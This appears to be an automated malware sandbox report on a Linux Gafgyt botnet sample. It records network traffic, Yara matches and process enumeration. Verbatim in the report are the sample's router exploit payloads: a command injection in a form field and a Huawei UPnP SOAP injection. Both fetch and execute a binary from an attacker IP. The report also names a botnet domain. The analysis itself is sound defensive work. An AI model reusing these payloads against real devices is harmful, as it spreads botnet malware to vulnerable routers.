tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: unknown TCP traffic detected without corresponding DNS query: 41.231.32.117
Source: unknown TCP traffic detected without corresponding DNS query: 197.14.88.117
Source: unknown TCP traffic detected without corresponding DNS query: 157.74.183.76
Source: unknown TCP traffic detected without corresponding DNS query: 128.246.123.164
Source: unknown TCP traffic detected without corresponding DNS query: 197.215.17.152
Source: unknown TCP traffic detected without corresponding DNS query: 41.152.84.139
Source: unknown TCP traffic detected without corresponding DNS query: 41.31.214.62
Source: unknown TCP traffic detected without corresponding DNS query: 197.107.111.104
Source: unknown TCP traffic detected without corresponding DNS query: 54.42.173.230
Source: unknown TCP traffic detected without corresponding DNS query: 197.85.164.12
Source: unknown TCP traffic detected without corresponding DNS query: 157.138.192.43
Source: unknown TCP traffic detected without corresponding DNS query: 157.131.140.100
Source: unknown TCP traffic detected without corresponding DNS query: 41.185.191.101
Source: unknown TCP traffic detected without corresponding DNS query: 197.182.182.232
Source: unknown TCP traffic detected without corresponding DNS query: 157.27.59.18
Source: unknown TCP traffic detected without corresponding DNS query: 157.208.122.98
Source: unknown TCP traffic detected without corresponding DNS query: 197.238.114.74
Source: unknown TCP traffic detected without corresponding DNS query: 197.154.1.71
Source: unknown TCP traffic detected without corresponding DNS query: 41.149.151.167
Source: unknown TCP traffic detected without corresponding DNS query: 197.207.180.27
Source: unknown TCP traffic detected without corresponding DNS query: 65.226.81.233
Source: unknown TCP traffic detected without corresponding DNS query: 157.241.198.146
Source: unknown TCP traffic detected without corresponding DNS query: 14.14.220.177
Source: unknown TCP traffic detected without corresponding DNS query: 197.247.89.133
Source: unknown TCP traffic detected without corresponding DNS query: 197.93.111.9
Source: unknown TCP traffic detected without corresponding DNS query: 197.181.63.81
Source: unknown TCP traffic detected without corresponding DNS query: 41.211.81.166
Source: unknown TCP traffic detected without corresponding DNS query: 197.168.78.87
Source: unknown TCP traffic detected without corresponding DNS query: 197.65.49.208
Source: unknown TCP traffic detected without corresponding DNS query: 43.82.170.160
Source: unknown TCP traffic detected without corresponding DNS query: 174.172.180.87
Source: unknown TCP traffic detected without corresponding DNS query: 158.253.37.224
Source: unknown TCP traffic detected without corresponding DNS query: 197.33.38.75
Source: unknown TCP traffic detected without corresponding DNS query: 150.238.19.142
Source: unknown TCP traffic detected without corresponding DNS query: 187.48.57.147
Source: unknown TCP traffic detected without corresponding DNS query: 85.190.35.181
Source: unknown TCP traffic detected without corresponding DNS query: 121.91.176.35
Source: unknown TCP traffic detected without corresponding DNS query: 74.178.87.169
Source: unknown TCP traffic detected without corresponding DNS query: 207.37.57.120
Source: unknown TCP traffic detected without corresponding DNS query: 109.118.51.141
Source: unknown TCP traffic detected without corresponding DNS query: 41.167.73.246
Source: unknown TCP traffic detected without corresponding DNS query: 41.248.252.153
Source: unknown TCP traffic detected without corresponding DNS query: 197.39.196.132
Source: unknown TCP traffic detected without corresponding DNS query: 157.90.125.186
Source: unknown TCP traffic detected without corresponding DNS query: 197.40.103.81
Source: unknown TCP traffic detected without corresponding DNS query: 41.39.98.202
Source: unknown TCP traffic detected without corresponding DNS query: 157.25.32.65
Source: unknown TCP traffic detected without corresponding DNS query: 41.98.43.203
Source: unknown TCP traffic detected without corresponding DNS query: 175.235.63.145
Source: unknown TCP traffic detected without corresponding DNS query: 197.116.233.166
Source: unknown DNS traffic detected: queries for: botnet.net-killertajima.com
Source: unknown HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 0X-NWS-LOG-UUID: 8704685216872633858Connection: closeServer: Lego ServerDate: Fri, 19 Apr 2024 11:08:26 GMTX-Cache-Lookup: Return DirectlyX-ServerIp: 36.150.35.46Client-Ip: 81.181.57.52
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CradlepointHTTPService/1.0.0Content-Type: text/html; charset=UTF-8Date: Fri, 19 Apr 2024 11:08:53 GMTContent-Length: 69Data Raw: 3c 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 34 30 33 3a 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 62 6f 64 79 3e 34 30 33 3a 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><title>403: Forbidden</title><body>403: Forbidden</body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-EncodingX-Frame-Options: SAMEORIGINContent-Type: text/htmlX-Content-Type-Options: nosniffDate: Fri, 19 Apr 2024 07:09:00 GMTCache-Control: no-cacheContent-Length: 223X-XSS-Protection: 1; mode=blockConnection: Keep-AliveAccept-Ranges: noneData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: mCS7AR9pKm.elf String found in binary or memory: http://103.174.73.190/tajma.mpsl;
Source: mCS7AR9pKm.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: mCS7AR9pKm.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: mCS7AR9pKm.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5551.1.00007fdb5c017000.00007fdb5c034000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: mCS7AR9pKm.elf PID: 5551, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Sample and/or dropped files contains symbols with suspicious names
Source: mCS7AR9pKm.elf ELF static info symbol of initial sample: __gnu_unwind_execute
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: /bin/busybox/
Source: Initial sample String containing 'busybox' found: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: HTTP/1.1 200 OKskyljneegay.armskyljneegay.arm5skyljneegay.arm6skyljneegay.arm7skyljneegay.mipsskyljneegay.mpslskyljneegay.x86_64skyljneegay.sh4<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample String containing 'busybox' found: Content-Length: /proc//proc/%s/exe/proc/self/exe/var/Challenge//app/hi3511/gmDVRibox/usr/dvr_main _8182T_1108/mnt/mtd/app/gui/var/Kylin/l0 c/udevd/anko-app/ankosample _8182T_1104/var/tmp/sonia/hicorestm_hi3511_dvr/bin/busybox//usr/lib/systemd/systemd//usr/libexec/openssh/sftp-server/usr/shellmnt/sys//bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davinci/telnetsshwatchdog/var/spool//var/Sofia/sshd/usr/compress/bin//compress/bin/compress/usr/bashtelnetddropbearropbearencodercundi/var/cundi//var/Condi/system/root/dvr_gui//root/dvr_app//var/tmp//anko-app//data/local/tmp//usr/lib/systemd//system/system/bin//gm/bin//mnt//home/process//home/helper/home/davinci/z/bin//mnt/mtd//tmp/sqfs//usr/libexec//usr/sbin//z/zbin//usr/bin/usr/lib/openssh/sftp-server//opt/POST /goform/set_LimitClient_cfg HTTP/1.1
Source: Initial sample String containing 'busybox' found: /proc/proc/%d/cmdlinewgetcurlbusybox/bin/busyboxechocatnanotfptkillallpkilltopxargspgrep
Yara signature match
Source: mCS7AR9pKm.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5551.1.00007fdb5c017000.00007fdb5c034000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: mCS7AR9pKm.elf PID: 5551, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: classification engine Classification label: mal100.troj.linELF@0/1025@21/0
Creates hidden files and/or directories
Source: /usr/bin/xfdesktop (PID: 5573) Directory: /home/saturnino/.Xdefaults-galassia Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5599) Directory: /home/saturnino/.Xdefaults-galassia Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5601) Directory: /home/saturnino/.Xdefaults-galassia Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5606) Directory: /home/saturnino/.Xdefaults-galassia Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/1333/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/1695/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/911/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/914/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/917/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/1591/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/1/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/2/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/1588/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/4/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/6/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/1585/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/7/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/8/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/800/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/9/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/802/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/803/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/804/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3407/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/1484/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/1479/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/931/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/1595/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/812/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/933/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3419/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3310/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5608/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5609/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3303/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/1486/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5601/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5606/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5620/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3440/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5618/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5619/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3316/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/1498/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/1497/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/1496/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5610/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5611/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5612/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5613/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3799/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5614/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5615/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3332/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3210/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3205/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3201/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/723/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5621/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/724/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5622/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5623/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5624/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5625/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5642/cmdline Jump to behavior
